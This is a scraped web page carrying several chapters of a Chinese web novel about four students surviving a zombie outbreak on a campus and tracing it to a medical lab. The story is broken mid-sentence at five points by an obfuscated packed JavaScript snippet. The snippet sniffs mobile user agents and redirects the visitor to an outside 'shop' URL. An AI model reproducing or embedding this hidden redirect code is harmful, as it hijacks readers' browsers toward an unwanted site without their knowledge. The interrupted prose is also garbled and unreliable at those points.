保安丧尸见状提脚就想跟上,但才跑没两步,脑袋里仿佛又响起了“擅离职守”、“扣工资”等奇怪的字眼。他无法理解这些词语的意义,但直觉告诉他最好不要违反这些话,因而他硬生生收回了脚步,惯性之下“扑通”一声摔倒在实验楼大门前。 “不是,这么跑也不是个事儿啊,总不能把丧尸带到人家楼里吧。”江贮月边跑边气喘吁吁地在脑海中传话。 “那我们怎么办?和他们开打吗?”程映雪体力尚可,但一想到要和那些满口喷血的丧尸近距离接触,她就禁不住胆战心惊。 “都来这个副本了,感觉迟早都要正面对上的吧!”邓溪明抽空回头望向如牛皮糖一般黏在四人身后的三个丧尸,语气急切,“但我们带的棍子、小刀什么的都是近战武器,身上也没什么防具,打起来容易受伤的!” 要是有什么远攻武器,比如枪,那就好办了。 枪?说起枪,程映雪将目光瞄向了舒怀瑾手中紧紧攥着的移液枪。 虽然移液枪算不上是武器,但根据刚刚它挡住保安丧尸时的表现来看,它的硬度应该还不错。 虽然一把坚硬的移液枪似乎并没有太大用处。 察觉到她的视线,舒怀瑾将心思从忙里偷闲查看移液枪卡牌说明书中收回,扭头朝她璨然一笑:“我有办法了!不过我还要试验一下!” 舒怀瑾骤然转头,在同伴惊讶外加茫然的目光中举起了那支小小的移液枪,随后用枪头对准跑在最前面的那个丧尸,大拇指用力按下卸下枪头的蓝色按钮,大喊道:“我不想插枪头——” 【道具:移液枪】 凝聚了实验室牛马三年怨念的移液枪,做梦都想逃离实验室。遇上同道中人时,它或许能发挥出除了本职功能以外的作用哦~ 技能一:用枪头瞄准目标,大喊“我不想插枪头”即可发射出实验室牛马三年间伏案插过的所有枪头。发动技能时怨念越大,威力就越大哦~ (剩余技能待开发) 霎时间,无数金黄色的细小枪头一连串地从移液枪末端发射出去,宛如飞针一般尽数刺在丧尸身上,随后迸发出耀眼的火光。 正欲往前扑的丧尸动作一顿,灰黑的皮肉之下飘出一股淡淡的焦味,随后整个身体一震,抽搐着摔倒在地上。它还没来得及爬起来,就被身后赶来的另一个丧尸一脚踩在了毛发稀疏的脑袋上,撞击水泥地的脸发出一声令人肉疼的骨裂声。 舒怀瑾对于这个效果颇为惊喜,连忙对剩下两个丧尸如法炮制地来了两枪。 “哇……” 程映雪等三人看着躺在地上动弹不得的三个局部碳烤丧尸,双眼瞪得像铜铃。 邓溪明双眼放光:“你从哪搞到这种好东西的?我也想要!” 江贮月附和:“我也要我也要!” 程映雪咽了咽口水:“天啊……从哪喷出来这么多枪头的?这是一把移液枪该有的实力吗?” “此地不宜久留,咱边走边说。”舒怀瑾指指前面距离已经不远了的楼栋,迈开步子道。 …… 舒怀瑾四人已然到了那栋沉寂的建筑之下,抬头一望高悬的牌匾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593647|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只见“图书馆”三个大字。 五层高的图书馆外墙呈现出老旧的砖红色,暗绿色的爬山虎铺满了紧闭的玻璃窗。舒怀瑾四人从一楼那透明的落地窗外向内望去,连一个人影也见不着。 一路上走来,她们远远见到了寥寥几人的操场,见到了人头攒动的食堂,还见到了骚乱异常的教学楼和马路,但像这样活人死人都看不着的建筑还是头一回见。 不过转念一想,根据所见所闻,她们所处的地方应当是一座校园。现在日头高挂,正是上午最后一节课快下课的时候,图书馆内人少似乎也是正常现象。 四人短暂交流一番,还是决定先到面前这图书馆内避上一避。 打开图书馆的大门,古井井底一般的冷气侵袭而来,冻得她们四人不约而同地打了个寒颤。 馆内静悄悄的,只有她们四人脚步“哒哒”的声音。走过大堂,又跨过人脸识别机器,四人在一望无际的高耸书架之间挑了个中央位置,面对面地席地而坐。 “呼……总算是能休息一会儿了。”路上时不时就有不知从哪个角落窜出来的丧尸追着她们咬,江贮月挥棒球棍挥得胳膊都酸了。 见舍友们均是大汗淋漓,程映雪从背包中掏出四条毛巾和四件外套来:“都擦擦汗吧,一下子来到这么冷的地方,别冻感冒了。” 上个副本里要不是拿了王貔的衣服,她们估计一出地牢就得被太阳晒得精神值骤降。因此程映雪回到宿舍后为下一次副本做准备时,第一个想到的就是往背包里塞各种生活用品。 舒怀瑾接过毛巾和衣服,眼睛弯弯:“谢谢你,你真好。” 江贮月和邓溪明也欣喜道谢接过东西来,把身上粘腻的汗液擦拭干净,顿时清爽多了。 待穿好外套,邓溪明有些疲惫地放空了大脑,视线缓缓移到了对面舒怀瑾身旁的书架上。 《如何做一只高产的驴》、《一小时码字三万的秘诀》、《两天速成大作家》…… 这都什么书啊喂! 她无奈地挪开目光,却突然瞳孔一缩。 舒怀瑾头上那层书架与书籍的缝隙之间,赫然有双圆睁的眼睛。 25. 丧尸校园4 “有人!”邓溪明心头一颤,指着舒怀瑾身后就跳了起来。 书架后的人似乎也被吓到了,后退一步将笨重的书架撞得有些摇晃。 另外三人听见声响匆忙转头,只见书架另一边有人举起了手小声道:“别怕!我是人!” 是一个女孩的声音。 她在舒怀瑾等四人的目光中放轻步子,绕路从书架后走出来。 “我叫方淮,是今天的图书管理员。”她白白胖胖的,朝身后远远地招了招手,又回头望向面前四人,圆圆的脸颊上笑出了两个小酒窝,“我和另外几个人被派下来巡逻,正巧听见这里有声音,就来看看是不是丧尸。” “巡逻?”舒怀瑾看向她——她手中拿着防暴叉,头上戴着电动车头盔,手臂和小腿上都用胶带缠了几本杂志,看起来的确是准备充分。 “是啊,我们二楼往上就是主席组织的安全区了。一楼算是我们的缓冲区吧,所以每隔一会儿就要有人下来巡逻确保一下大门没有被丧尸攻破。”方淮语气轻松自然,仿佛此事如同下楼去超市买零食一般稀松平常。“你们要加入我们的安全区吗?” 已经有安全区了?四人暗自心惊。她们身为小鼠之时,实验室中仍运转正常,直到出逃时才出现丧尸,因此她们潜意识中认为丧尸灾祸才爆发不久。然而,此时安全区的出现让她们有些怀疑自己先前的判断。 丧尸到底是什么时候出现的?这个问题或许要问问图书馆里的人了。 但这所谓的安全区有这么好加入吗?鉴于不清楚方淮是否看到了程映雪凭空拿出毛巾等物品,舒怀瑾有些犹疑:“加入安全区需要我们付出什么?” 方淮闻言有些腼腆地笑了笑:“不会要你们什么东西的,只要听从主席安排就好了。现在要做的就轮流巡逻呀搬水什么的,一般都很轻松的。” 四人互相递了个眼神,达成了共识。 “那我们就先加入吧。”舒怀瑾点头道。 “太好了,欢迎你们加入!”方淮热情地牵起了舒怀瑾的手,转身朝安全出口走去,“我带你们上去。” 她带着四人路过图书馆中豪华的螺旋式楼梯,却并没有往上走的意图。舒怀瑾探身仰头一看,发现这段楼梯到二楼门口那块已经被众多书架挡得严严实实,连一丝光也没露出来。 径直走到那幽幽发着绿光的“安全出口”标志处,方淮才推开沉重的防火门,领着四人沿着楼梯来到二楼。 二楼同样有一道防火门。方淮在门上“咚咚”地敲响了一串极富节奏感的拍子,防火门后才传来一阵锁链乒呤乓啷碰撞的声响,随后“吱呀”一声打开。 一张瓷白的微笑面孔出现在五人面前。 除了方淮外,另外四人都有些悚然地往后一仰。 方淮松开舒怀瑾的手,向前回身站在来人身侧,朝四人笑意盈盈道:“这就是我们郑钧堂郑主席。他考虑问题可周到了,大家都听他的。” “哪里哪里,我当主席那都是以前的事儿了,小方你就是爱开我玩笑。”低沉的男声从上扬的嘴角中逸出。 不怪舒怀瑾四人胆小,实在是这名主席气质生得有些古怪。他面皮干净,按理来说五官再怎么长都能算得上顺眼。但他偏偏眼角、鼻尖与嘴角线条锐利,微笑的弧度也略微夸张,往门口那么一站,仿佛是从黑白的水墨画上飘下来的一缕幽魂。 “我是这儿的负责人郑钧堂,很高兴认识你们。” 舒怀瑾看向对方伸过来的手,略微抬手犹豫之时却被对方主动握住了手掌。 他的手心挂着不少汗液,冰冷粘腻的触感顿时爬上舒怀瑾的神经。 忍下立即甩开的不适之感,舒怀瑾轻轻颔首,不动声色地将手抽离:“你好,我是郁文。” 程映雪有些惊讶地偷瞄了一眼舒怀瑾,不太明白她为什么突然用上假名了,但对舒怀瑾的信任让她没有出声。 郑钧堂侧身探向另外三人:“这几位是……?” 舒怀瑾向前跨一步挡在三人面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593648|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回报以真假难辨的笑意:“她们是我的朋友。郑主席,我们初来乍到,还要烦请主席你多多关照了。” “……那当然。”郑钧堂笑意更盛,搓了搓手,朝场馆深处摆出“请进”手势。 …… 虽然对郑钧堂印象不算好,但不得不说,他组织的这个安全区还是挺井井有条的。 身处图书馆的人大约有五十人,各区域之间分工明确,食宿与安保均由众人轮流负责,就连倒尿桶这种事都被安排得明明白白。 “但是他们这儿一个图书馆,怎么会囤有压缩饼干、维生素片和蔬果盆栽啊?”程映雪边走边在意识中疑惑道。 郑钧堂并没有亲自带她们参观了解图书馆内布局,而是叫了一个名叫李岩的寸头小伙子来领着她们游览。她们走到五楼最后一层书架后,只见靠墙堆满了许多生活物资,临近的顶楼天台上还种着不少番茄幼苗。 “是啊,简直就像提前准备好了一样。”江贮月应声道。要不是囤的这些货品各种类数量不算多,她都要以为这不是图书馆而是超市仓库了。 舒怀瑾见状,朝李岩出声询问:“同学,你们有和外界联系过吗?” 李岩闻此不无痛心道:“我们打了不知道多少报警电话,但警方哪怕看到了我们发过去的彩信照片,都坚持说是我们恶作剧。” 舒怀瑾沉默。 一次两次的报警可以被看做恶作剧,可不同的人多次报警后,难道就没有一个警察决定前来看看吗? 不对,这句话里还有一个关键信息。 舒怀瑾对上舍友们的视线,在她们眼中看见同样的默契。 联系外界的报警电话仍然可以打通,且警察并不相信“丧尸”的说法——这是否意味着,外界并没有爆发丧尸危机呢? 通关要求是找到丧尸起源的真相。如果真的只有校园内出现了丧尸,那她们寻找线索的范围将会大幅缩小。 看来,她们需要了解一下其他学生们的所见所闻了。 26. 丧尸校园5 “你问图书馆里为什么有这么多吃的?我听主席说是正好学校打算在图书馆搞活动,物资就先放这儿了……” “……至于最初在哪里看到的丧尸?”浅褐色头发的少女有些迟疑地想了想,“应该是在宿舍楼下吧。我记得当时我刚想回宿舍,结果远远地看见有些人疯狂地跑向我。现在想来,那些人中应该就有丧尸。” “我们对这里不太熟悉,请问你愿意为我们指一下你宿舍楼的方向吗?”舒怀瑾诚恳询问道。 浅褐发色少女点了点头,走到窗边指出一个方向:“就是那边,校门口附近的396宿舍楼。” 合手道谢以后,舒怀瑾望着她所指的方向,若有所思。 结合其他同学所说,大家首次目睹丧尸的时间在今天上午十点半左右,地点大多在校门口附近。其中,有两名同学目击了丧尸从校内跑向校外。 校门口附近的建筑包括395号到399号宿舍楼、外国语学院楼,以及舒怀瑾四人逃离的实验楼。 为了进一步确认丧尸的起源地,四人决定先前往校门口搜寻线索。 …… 即使是离开图书馆后,舒怀瑾也感觉那道冰凉的目光依旧扒在她的后背上。 图书馆二楼防火门背后的锁链钥匙只有郑钧堂和方淮有,因此想出去还得先问过他们俩的意见。她和郑钧堂提出了要先外出查看情况的申请,郑钧堂二话不说就答应了,还握着她的手,表情真挚地叫她多保重。 只是当她们四人沿安全楼梯往下走时,舒怀瑾偶然回头,才发现郑钧堂依旧露着瓷白的脸,带笑目送着她们离去。 不知道是不是错觉,舒怀瑾觉得那眼神阴森森的,笑意全然不达眼底。好在现在外面天气炎热,勉强将她周身的寒意驱逐了一些。 这个副本内的时间应当是在夏天,下午两三点的阳光将大地烘烤得滚烫,生鸡蛋打上去恐怕都要立刻被煎得两面金黄。大多丧尸在奔跑期间将鞋子遗失了,因此现在只能一步一个血肉模糊脚印地在地上行走,拔起脚的动作卡顿得仿佛地上装了吸盘。 然而舒怀瑾四人此时动作也不算流畅。方淮听说舒怀瑾四人要外出,立即热心肠地抱来了一沓图书馆的杂志,按照她自己的防护方法给四人每人绑了严严实实的一套。现在四人除了眼睛,没有一寸皮肤可以脱离杂志的包裹而裸露在外。 偶尔一两个仍然穿着鞋的体面丧尸见到大太阳下的舒怀瑾四人,“嗷呜”一声就扑上来,还没碰到四人的毫毛,就被移液枪的枪头放倒在了地上。 哪怕是悄悄偷袭成功的丧尸,一口带血的好牙磕在厚厚的杂志上,下巴都张脱臼了也没法突破她们的防线。 这一身安全感是有了,但体感温度也是拉满了。不防水的杂志封面借着汗水贴在肌肤上,每一次迈步都走着剥离又黏合的既定流程。 好不容易一步步挨到了校门口附近,四人早已热得像刚从水里捞出来一般。 “诶,等一下……前面那个人怎么有点眼熟?”程映雪止住了脚步,抹了把汗。 江贮月单手给眼睛搭了个凉棚,定睛一看:“这不是之前学校里那个贴了个二维码、带着个大喇叭在门口招兵买马的男生吗?他也分到这个副本了?” 那名男生倚在校门闸口旁的保安室外,看见来人,眼前一亮就挥起手来。 “他是什么在校门口定点刷新的NPC吗……”舒怀瑾扶额。 还没来得及多吐槽几句,那名男生就朝着她们四人奔了过来,边跑边嚷嚷道:“好久不……” “唔唔!” 他的话还未落地,舒怀瑾就抢先一步从背包里掏出来一条先前用来擦汗的毛巾,飞身上前死死捂住了他的嘴。 远处被声音吸引的丧尸茫然地抬了抬头,侧耳没听见后续,就又俯身专注地啃着尸块了。 嚼嚼嚼,世界上怎么会有这么好吃的东西呢,嚼嚼嚼。 “叫那么大声,你想害死我们吗?”舒怀瑾压低嗓音怒道。 那名男生似乎也意识到了自己的问题,嘴里也不哼哼了,舒怀瑾这才挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593649|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开捂嘴的毛巾,颇为嫌弃地把它收进了背包中。 可惜了,这可是映雪才拿给自己的香香毛巾,回去可要拿香皂好好洗七遍。 “不是,你这毛巾用来擦什么了,味儿真够大的。”他皱眉咋舌,不住扇风的手在看见舒怀瑾吃人一般的眼光后才陡然停下来。 舒怀瑾没有再理他,邓溪明给了他一个斜斜的眼神,四人径直朝着保安室走去。 被无视的男生抹了一把嘴,又追了上来:“……相见即是缘分,不如我们互相认识一下吧。我叫赵广辉。” 他伸出的手在空中尴尬地悬着。 四人进了保安室,顺手把门反锁了,跟在后面的赵广辉碰了一鼻子灰。 “哎哎哎,别关门啊……” 门旁边的玻璃窗户被拉开,一只移液枪伸出来,对准了他的眉心。 “你再叫嚷的话,我会比被你吸引来的丧尸先一步了结你。”舒怀瑾定定地望着他的眼睛,手指已经放在了发射按钮上。 虽然不知道对方为什么要拿着个普普通通的移液枪用来威胁自己,但她如看死人般不带感情的眼神不似作假,因此赵广辉识趣地降低了分贝。 “姐,让我进去呗,我和同学约好了在保安室等他的,你这把门关上了,我待会儿遇见丧尸也没地儿躲啊。”他咽了口唾沫,举起四根手指相并,“我保证不烦你们了。” 鉴于把他放眼皮子底下也方便一些,思索片刻后,舒怀瑾还是把反锁的门开了。手持棍棒的程映雪、江贮月、邓溪明分别站在门的两侧,不悦的目光让赵广辉有些背后发毛。 他走进保安室,见舒怀瑾正在电脑前操作着什么,忍不住又出声道:“你在做什么啊?” 舒怀瑾回头抛来一记眼刀。 “哎,你别误会,其实我很擅长弄电脑的,你要干什么和我说,我来帮……” 赵广辉话音未落,只见舒怀瑾手指翻飞间,电脑上的监控面板便忽然打开,屏幕上人影攒动。 “不必了,管好你自己吧。” 27. 丧尸校园6 注意看,这个男生叫小帅,他正在出校门。 校门口熙熙攘攘的,不时有学生和老师进出。上午和煦的阳光下,一切都如往日一样平凡。 不过,今天小帅要去干一件不平凡的大事—— 他要在校门口的天鹅湖湖心岛上,和相恋七年的女朋友求婚。 他们约好在校门口见。此时距离约定的时间还有十分钟,但女朋友已经提前到达了约定地点。 微风穿过古朴的拱门,拂过她垂落的发梢,露出她带着小小梨涡的脸颊。她的笑漾在涂抹了唇蜜的嘴角,眼中带着细碎的微光望向他的双眸。 小帅深情款款地回望,却发现她忽然瞪大了双眼,仿佛看见恶鬼一般惊恐。 欸?怎么回事?难道是自己今天的装扮不够令人满意? 他低头看看身上,又抬头看看女朋友。但女朋友的目光似乎越过了他,紧紧盯着他的身后。 “你身后、你身后有东西!” 小帅不解回头,却看见了此生难忘的一幕。 皮肤灰暗的人形怪物猛然扑倒了一名男生,犹如野兽一般张嘴就咬。那名男生出手格挡,却还是被那怪物的利齿划破了皮肤。 血液如毒蛇一般在他的手臂上蔓延,疯狂的欲望从他的体内觉醒。他的表皮迅速生长、衰老,有如枯叶一般堆积在逐渐变得灰暗的肌肤上。 怪物停止了撕咬,转而扑向其他人。而那名男生带着血淋淋的伤口摇摇晃晃地爬了起来,灰白的瞳孔锁定了他面前的小帅。 肾上腺素飙升的小帅在两个怪物的嘶吼声中拉起恋人拔腿就跑,飞奔着远离了逐渐被混乱充斥的校园。 以上是舒怀瑾四人在监控录像中见到的景象。 录像忠实地记录了丧尸自实验室方向跑来的身影,而在此之前,校外及安保系统互通的另外三个校门处均是一片祥和。 “所以是实验室里出现丧尸病毒泄露?”邓溪明蹙眉,“真是老式的开局。” “照图书馆里人说的,那块儿都是医学院的实验楼,感觉还真有可能。”江贮月摩挲着棒球棍棍柄,“但现在这点证据应该不够吧?要不要跑一趟实验室?” 程映雪想起实验室里那密密麻麻的丧尸,倒吸一口凉气:“现在去?太危险了吧!” 的确,她们四人都没有防御性技能,这一路上的顺利完全是建立在丧尸没有大批量进攻的基础之上。然而实验室里现在估计依旧是“人满为患”,就凭借着她们四人的肉体凡胎,哪怕用光现有的技能和道具拼死一战,恐怕也不够那些丧尸们填牙缝的。 “我们到现在还没见到过规则……要不要再找找?”舒怀瑾将电脑关闭,撑头望向舍友们。 四人分析利弊之时并没有使用意识交流,因而赵广辉将她们的话尽收耳中,心下揣摩着。 “哎,我……” 他才刚张开嘴,身旁的柜子就发出了“吱呀”一声,铁制的柜门缓缓打开。 “我是人,不是丧尸!” 从柜中爬出来的女生在严阵以待的舒怀瑾四人审视的目光下急切出声,生怕再晚说一秒就会被灭口。 她舔了舔干涩的嘴唇,看向全副武装的四人:“我有一个舍友就是学医的,她平常就在医学院实验楼里跟项目。前几天,她还和我说了她实验室里的一些怪事。” “你们想调查的信息,她可以告诉你们。” 舒怀瑾环顾四周。保安室内除了这个柜子,也没有其他地方能藏人了。柜子内的空间只够容身一人,而面前的女生浑身狼狈,看起来是迫不得已才躲进了柜子里。 “条件是?” “救出她。” …… 下午的天气总是变幻莫测,一小时前还是晴空万里,现在却是大雨滂沱。 天色阴沉如墨,偶尔有闷雷在云后敲响紧迫的鼓点,驱使豆大的雨珠撞向地面,洗刷着满地狼藉。 舒怀瑾四人与先前在保安室躲藏的女生在暴雨声中来到了397宿舍楼下。 虽然雨水约束了她们的行动效率,但嘈杂的声响与雨水对气味的遮蔽同样限制了丧尸的觅食。 一路以来遇见的丧尸对她们五人熟视无睹,但凡有惊雷炸响,更是抽搐一般剧烈甩动着头颅,仿佛遭受了莫大的痛苦。 因此,五人撑着从保安室里摸来的两把大伞,几乎没怎么战斗就安全抵达了宿舍楼。 据这位名为安思渺的女生所说,她的舍友此时正躲在三楼302寝室的厕所之中,门外大约有两三只丧尸在徘徊。 “宿舍门关上了,但我跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593650|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得匆忙,没带钥匙。”安思渺指了指一楼大门旁的105寝室,道,“那里是宿管阿姨的值班室,我们的备用钥匙放在进门口左手边的桌下抽屉里。” 那扇门上血迹斑斑,里面应当不是什么太平景象。五人做好心理准备,将门推开一条缝。 里面除了雨声,什么声音也没有。 “……太好了,里面没人。”安思渺松了口气,摸向老旧的木桌桌面,搜寻着抽屉的钥匙。 四人警惕地环顾着四周。 窗帘被拽下来了一半,尾部泡在暗红的液体中。幽深阴暗的室内不时被惨白的闪电照亮,雷雨声混合着窸窸窣窣的钥匙响动,仿佛有老鼠在阴影里穿梭。 两声锁头转动的声响过后,有些发霉的抽屉被缓缓拉开,发出令人牙酸的“嘶啦”一声。 舒怀瑾站在生锈的窗前,背对着同伴们。她忽然听见身旁传来一阵脚步声,便转头向声源处。 “谁过来了?” 骤然一道闪电透过模糊的窗将室内照得恍若白昼,也照亮了正从角落里猛然扑向安思渺的黢黑身影! “小心背后!” 来不及反应的安思渺被猝然撞倒在桌面上,陈旧的木桌在重归于黑暗的室内轰然倒地。然而她尚未挣脱开身后的沉重躯体,袭击者的指甲死死陷入了她的手腕,腥臭的嘴朝她的后颈露出了獠牙。 恐惧的泪水涌出了安思渺的眼眶,她使出吃奶的力气想要将身后的丧尸甩开,却感觉躯干沉重如溺水。 但她预想中利齿撕扯皮肉的声音并没有到来。只听见破空一声脆响,有什么东西似乎在她身后爆裂开来。随即她身上一轻,朦胧间见到丧尸的躯体被扔在了一旁。 “没事了,丧尸已经被解决了。”江贮月有些后怕地接过程映雪递来的湿巾,擦干净刚刚搬丧尸时手上沾到的血液。 邓溪明从一片混乱的木桌残骸中翻出一支手电筒,光明瞬间洒满了每一个角落。 那突然出现的丧尸一身蓝白的制服,稀碎的后脑浆液中静静躺着一枚金色的枪头。 好在打中了。舒怀瑾的心跳声猛烈得胜过窗外雷声。方才的情况下,贸然上前只会增加自己被咬的几率,她只能借着微弱的光尽力将丧尸一击毙命。 “我……我被咬了吗?” 28. 丧尸校园7 “放心,你没有被咬。” 舒怀瑾将手中的消毒棉签扔进垃圾桶,拍拍手起身。 按照监控里记录的那样,人被咬后不过十秒就会被感染成丧尸。而安思渺被咬后已经过了数分钟,此时除了手腕上的伤口外,和原来并没什么两样。 “那我的手上是……?”安思渺在惊惧过后短暂地忘记了一些细节,此时看着手腕上的伤口还是有些担忧。尽管舒怀瑾已经对它进行了简单的处理,但它外翻的皮肉显得分外狰狞。 “应该是被抓的吧。”江贮月用棉签挑了挑地上丧尸的指甲缝,里面残存着一些干涸的血肉。 看着地上冰冷的丧尸,安思渺心中酸涩地浮现起她生前的笑脸。 会时常带着爽朗的笑容、会在圣诞夜给同学们赠送平安果、会悄悄喂流浪小猫、会在同学遭遇醉汉纠缠时挺身而出的宿管阿姨,片刻前是疯狂攻击她的丧尸,而现在是僵硬的尸体。 进门时宿管阿姨明明缩在不知哪个角落,并无任何举措。她听见抽屉里钥匙被翻动的声音,是不是以为自己是小偷,所以才冲向自己的? 一切已经无从知晓。 她跟随着舒怀瑾四人朝楼梯上走去,手心里是被濡湿的备用钥匙。 楼梯间里还算安静,只有几个摔断了腿的丧尸在地上苟延残喘。三楼的走廊上只有三个丧尸,五人在雷声的掩护下顺利干掉了丧尸,抵达了302的房门外。 安思渺将钥匙插入锁孔,清脆的响动由门锁内传出。还未旋动钥匙,一声震响却怦然撞在门板上。 她手一抖,下意识后退半步。门那边并没有因着声音的消失而停下动作,强劲的撞击声接踵而至,门板剧烈地颤抖着。 楼下的丧尸听见声响,嗷嗷地叫唤着。江贮月从走廊护栏边上探头往下看,正好和二楼伸着脑袋往上嗅的丧尸来了个眼对眼。 一人一尸均是一愣。 江贮月慌忙收回目光,而楼下的丧尸则是一个接一个兴奋地大叫起来,脚步声咚咚咚地开始往楼上跑。 “我来开门!怀瑾你瞄准了!” 江贮月冲上前,旋动钥匙,随后猛地把门朝内一推。 一个丧尸被门拍得往后一坐,另两只丧尸争先恐后地往门缝里探出了脑袋。 江贮月一惊,使劲把门往怀里一拉,一个丧尸躲闪不及,纤长的脖子直接被门板和门框紧紧夹住。江贮月拉门的手劲和门后才爬起来就撞向铁门的丧尸两相结合下,“咔嚓”一声响,丧尸的头软软地垂落在门缝中。 “贮月,你开门后就快往旁边躲啊,一推一拉的我差点打中你!”舒怀瑾握着移液枪,转身给正在和追上来的丧尸们近身搏斗的同伴们火力支持。 “好!我开了!” 江贮月使出全身力气把门往里一推,颈椎断裂的丧尸沿着门缝滑倒在地,另一只丧尸踩着它的躯体就往门外一扑,狠狠咬在江贮月推门尚未收回的左手小臂上。 咬上了!但咬不动? 丧尸的牙关咔哒咔哒地响,但就是没法突破江贮月手臂上厚厚的杂志。 它仍在做无谓的努力,一枚金色的细小枪头却悄然洞穿了它的太阳穴。 刚把已经死透了的丧尸甩开,江贮月便迎上了寻声而来的第三只丧尸。 这只丧尸是中年男子模样,从室内往门外高高跳起,在她的头上投下一大片阴影。 她迅速扬起棒球棍,朝它的脑袋强力一击! 丧尸被抽得往左飞,又撞在洗手池的台面上,脖子一歪却挣扎着想爬起来。 “快进来!”舒怀瑾给它补了枪,又朝正在和同伴们缠斗的丧尸每只来了两枪,迈步招呼道。 另外三人忙不迭地跟进了302寝室内。 舒怀瑾阖上门,将室内的灯打开,率先将所有角落旮瘩都巡视了一遍,以防在楼下值班室被偷袭的事情重演。 收到已经安全的示意后,安思渺立即跑到卫生间门外,拧不开门把手便急切地拍门:“霄燕,我带人来救你了,你还好吗?” 卫生间里一片寂静,宿舍里只有渐弱的雨声和门外追上来的丧尸撞门声。 “……霄燕?霄燕!”安思渺手上仍拍着门,心里却感到一阵阵的绝望。她忽然掏出手机,飞快点开了和李霄燕的聊天记录。 {下午3:02} 李霄燕:渺渺,我支撑不住了。 她眼睛一酸,不住失声痛哭起来,滚烫的泪水从脏污的脸颊上落下。 邓溪明默默上前揽住了她的肩,让她得以寻求一丝安慰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593651|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在场的人听见她的哭声,心中也忍不住难过。舒怀瑾将耳朵贴上卫生间的门,试图再找寻一些残存的希望。 一片嘈杂中,她似乎听见卫生间里有什么东西碰到了隔板上,发出轻微的闷响。 “……快来,我听这卫生间里好像还有声音。” 江贮月凑上前一听,眼神一亮,将仍沉浸在悲伤中的安思渺拉了过来:“你再叫叫她!” 安思渺被突然带到了卫生间门前,哭声噎了半晌,听见里面的动静才睁大了红肿的双眼,拍门狂喜:“霄燕!你还活着!是不是?你回答我!” 卫生间里传来一声呻吟。 “哎……是是是……祖宗,你给我哭活咯。” 安思渺带着泪痕捶了一下门,喜极而泣。 …… “实验室里有没有发生什么怪事?”李霄燕一边换下为躲避丧尸而用厕所水全部打湿的衣服,一边回忆道,“是有点怪。” “我是本科生嘛,有一个师姐人特别好,经常带我。但是大概一周之前,我就再也没见过她,连我发的信息她都没回过。” “她平常是一个情绪很稳定的人,我们关系也很好,怎么会一下子就像人间蒸发了一样呢?我觉得很蹊跷,问其他师兄师姐,但他们都说师姐是在参与一个保密项目,和导师一起飞外地了。” “就她一个参与了这个项目?”程映雪问道。 “应该不是。师姐那个小组里还有一个男生,这两天似乎也没见过他。但是他存在感一般比较弱,平常也不爱说话,所以我也不是很确定他是不是和师姐同一个时间不见了。” “哦对,还有,前天还有几个警察上门来做调查了,但他们过了一会儿就走了,也没说什么。” 舒怀瑾沉吟片刻:“你觉得丧尸病毒是不是你们实验室里研发出来的?” 李霄燕讶然:“啊?我们实验室没那么厉害吧?顶多就是导师背景硬了一点啊。” 她皱眉思索了一会儿,又有些不确定地说:“但实验楼的六楼确实不对本科生开放,这两天在五楼也经常听见楼上不寻常的玻璃碎裂声音……不会吧?” 她不可思议地瞪大了双眼。 宿舍内的顶灯闪烁两下后熄灭,室内再次陷入无声的黑暗之中。 29. 丧尸校园8 